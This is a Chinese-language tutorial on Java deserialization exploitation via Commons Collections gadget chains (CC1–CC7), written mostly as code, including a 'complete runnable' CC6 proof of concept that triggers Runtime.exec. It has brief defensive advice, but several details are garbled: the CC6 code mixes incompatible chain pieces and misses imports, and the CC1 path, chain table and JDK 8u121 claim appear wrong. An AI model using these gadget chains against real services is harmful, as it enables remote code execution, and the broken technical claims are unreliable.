一、反序列化机制速览
Java 反序列化是把二进制字节流还原成堆内存对象的过程。入口类是 ObjectInputStream,核心方法 readObject()。攻击者只要能控制传入 ObjectInputStream 的字节流,就能在目标机器上构造出任意 Serializable 对象图——这就是所有利用链的起点。
import java.io.*;
public class SimpleDemo {
public static void main(String[] args) throws Exception {
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject("hello serialization");
oos.close();
byte[] payload = bos.toByteArray();
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(payload));
Object obj = ois.readObject();
ois.close();
System.out.println(obj);
}
}
1.1 readObject 调用链
readObject() → readObject0()
TC_OBJECT → readOrdinaryObject()
isExternalizable → readExternal()
非 Externalizable → readSerialData()
hasReadObjectMethod → 调用私有 readObject(ObjectInputStream)
resolveClass() 根据字节流里的 className 加载本地类。ObjectInputStream 的 resolveClass() 默认调用 Class.forName(name),所以只要目标 classpath 里有 commons-collections-*.jar,攻击者就能利用它的类。
1.2 恶意类演示
import java.io.*;
public class EvilObject implements Serializable {
private static final long serialVersionUID = 1L;
private void readObject(ObjectInputStream in) throws Exception {
in.defaultReadObject();
Runtime.getRuntime().exec("touch /tmp/pwned");
}
}
但问题是攻击者没法让目标机器上凭空出现 EvilObject.class。所以真正的利用链必须全部由目标 classpath 里本来就有的类拼接而成。CommonsCollections 就是那个弹药库。
二、InvokerTransformer —— 最关键的类
public class InvokerTransformer implements Transformer, Serializable {
private final String iMethodName;
private final Class[] iParamTypes;
private final Object[] iArgs;
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
}
public Object transform(Object input) {
if (input == null) return null;
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
} catch (Exception e) {
throw new FunctorException("InvokerTransformer error");
}
}
}
InvokerTransformer 实现了 Transformer 接口,在 transform(Object input) 里通过反射调用任意方法。这是整个 CommonsCollections 攻击面的核心类。
三、ChainedTransformer 串联多条反射
Transformer[] chain = new Transformer[]{
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"touch /tmp/cc_pwned"})
};
// "Runtime" → Runtime.class → Runtime.getRuntime() → exec("cmd")
每个 InvokerTransformer 接收前一个的输出作为输入。第一个 "Runtime" 被 getMethod 处理成 Method 对象;第二个 invoke 把 Method 变成 Runtime 单例;第三个 exec 执行命令。
四、CC6 完整可运行 PoC
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.comparators.TransformingComparator;
import java.io.*;
import java.lang.reflect.Field;
import java.util.*;
public class CC6PoC {
public static void main(String[] args) throws Exception {
// 1. 构造完整的 Runtime.exec 反射链
Transformer[] chain = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"touch /tmp/cc6_pwned"})
};
// 2. LazyMap 包装 ChainedTransformer
Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, new ChainedTransformer(chain));
// 3. 构造 AnnotationInvocationHandler 代理对象
Class aihClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor aihCtor = aihClass.getDeclaredConstructor(Map.class, Class.class);
aihCtor.setAccessible(true);
Object aih = aihCtor.newInstance(lazyMap, Retention.class);
// 4. PriorityQueue 先用无害 comparator 构造
PriorityQueue<Object> queue = new PriorityQueue<>(2,
new TransformingComparator(new ConstantTransformer(1)));
queue.add(1); queue.add(1);
// 5. 反射替换 comparator 和 queue 元素
Field f = PriorityQueue.class.getDeclaredField("comparator");
f.setAccessible(true);
f.set(queue, new TransformingComparator(new ChainedTransformer(chain)));
Field fs = PriorityQueue.class.getDeclaredField("queue");
fs.setAccessible(true);
Object[] queueArr = (Object[]) fs.get(queue);
queueArr[0] = lazyMap; queueArr[1] = lazyMap;
// 6. 序列化 payload
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(queue); oos.close();
// 7. 反序列化触发
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bos.toByteArray()));
ois.readObject(); ois.close();
System.out.println("[+] CC6 PoC executed, check /tmp/cc6_pwned");
}
}
为什么要先 add 再反射换 comparator?
如果直接把真实 comparator 传给 PriorityQueue 构造器,add() 时就会触发 chain——此时 payload 还没序列化完,Runtime.exec 就先跑了。所以先用无害 comparator(ConstantTransformer(1))完成构造和 add,再反射替换。这是反序列化链构造中的经典"避开头部执行"技巧。
五、CC1-7 各版本链对照
| 链 | 依赖 CC | 依赖 JDK | 核心触发点 | 关键类 |
|---|---|---|---|---|
| CC1 | 3.x/4.x | 全版本 | AIH.invoke() → HashMap.key.hashCode() | AIH, LazyMap, ChainedTransformer |
| CC2 | 3.x | 全版本 | PriorityQueue.readObject() → comparator.compare() | PriorityQueue, InvokerTransformer |
| CC3 | 3.x | 全版本 | InstantiateTransformer → TemplatesImpl | InstantiateTransformer |
| CC5 | 3.x | JDK 7u21+ | BAVE.readObject() → toString() → TiedMapEntry | BAVE, TiedMapEntry |
| CC6 | 3.x | 全版本 | 等价于 CC1 从 PriorityQueue 出发 | TransformingComparator |
| CC7 | 3.x | 全版本 | Hashtable.readObject() → entry.key.equals() | Hashtable + TiedMapEntry |
六、调试技巧
遇到 ClassNotFoundException 说明目标没有对应 CC 版本,尝试 CC7 或 CC2。遇到 InvocationTargetException 通常是链中间反射失败。在 InvokerTransformer 的 catch 里打印完整堆栈:throw new FunctorException(e.getCause())。JVM 启动参数加 -XX:+TraceExceptions -XX:+TraceExceptionsFilterClass=InvocationTargetException 可以看到反射链上每一层异常。
七、总结
CommonsCollections 反序列化链的本质是把多个"无害"的通用工具类拼接成一条代码执行路径。理解了 ChainedTransformer 的串联原理和"避开头部执行"的反射替换技巧,就能自己写出新的变种链。防御侧最有效的手段是根本不要反序列化不可信数据,以及用 JEP 290 的 ObjectInputFilter 设白名单。
八、CommonsCollections 4.x 差异
CC 4.x 重构了整个包结构:
org.apache.commons.collections4.functors.InvokerTransformer
org.apache.commons.collections4.comparators.TransformingComparator
和 CC 3.x 主要差异是包名多了 4,部分类名/方法有小改动。ysoserial 的 CommonsCollections8 专门适配 CC 4.x。CC 8 把 CC 链里用到的类映射到 CC 4.x 的等价类。
九、CC1 源码级详解
CC1 链的完整触发路径:
AnnotationInvocationHandler.readObject()
→ HashMap.readObject()
→ for (Entry<K,V> e : tab) { hash(e.getKey()); }
→ hash(K) = (h = key.hashCode()) ^ (h >>> 16)
→ AnnotationInvocationHandler.hashCode()
→ for (Map.Entry<String, Object> e : memberValues.entrySet()) {
if (key == null) continue;
result += key.hashCode();
result += Arrays.hashCode((Object[]) value);
}
// value 是 LazyMap
→ Arrays.hashCode → 遍历数组元素
→ 某个元素被当作 Map → LazyMap.get(key)
→ ChainedTransformer → Runtime.exec
CC1 是最基础的链,也是理解整个 CommonsCollections 反序列化的起点。
十、CC7 vs CC6
CC7 用 Hashtable.readObject() 作为触发点:
Hashtable ht = new Hashtable();
// TiedMapEntry 作为 Hashtable 的 key
// ht.readObject() → 重算 entry 的 hash → entry.key.equals() → 触发链
Hashtable 比 PriorityQueue 更"通用"——很多库内部都用 Hashtable。所以 CC7 适合不知道目标是否使用 PriorityQueue 的场景。
十一、常见问题 FAQ
Q: 为什么不用 Runtime.exec(String) 直接调?
A: 不能直接。Java 反射链必须从某个 Serialized 对象出发,目标必须有完整的 gadget 链类。Runtime 不是 Serializable,必须通过 InvokerTransformer 反射调用。
Q: CC 链在 JDK 11/17 上还能跑吗?
A: JDK 9+ 模块化后,sun.reflect.annotation.AnnotationInvocationHandler 所在模块被隐藏,反射访问会抛 InaccessibleObjectException。但 JDK 8u121 之后加了 Runtime.exec 检查,CC1/CC6 直接调 Runtime.exec 会失败。换 TemplatesImpl 或其他链可以绕过。
Q: 如何防止自己写出危险的 Serializable 类?
A: 实现 Serializable 的类里永远不要在 readObject/readResolve 里放危险代码;不要使用 ObjectInputStream 反序列化不可信数据;JEP 290 加 filter 白名单。
十二、实战练习建议
- 先在本地 JDK 8 + commons-collections-3.1 环境跑通 CC6 PoC
- 尝试把 CC6 链里 ChainedTransformer 换成其他 Transformer 组合
- 在 JDK 17 上跑同一条链,观察错误信息
- 用 JVM 参数 -Djdk.serialFilter= 拦截,观察拦截行为
- 动手写一个简化版的 LazyMap,理解它是如何调用 Transformer 的
这条知识链是理解整个 Java 反序列化世界的钥匙。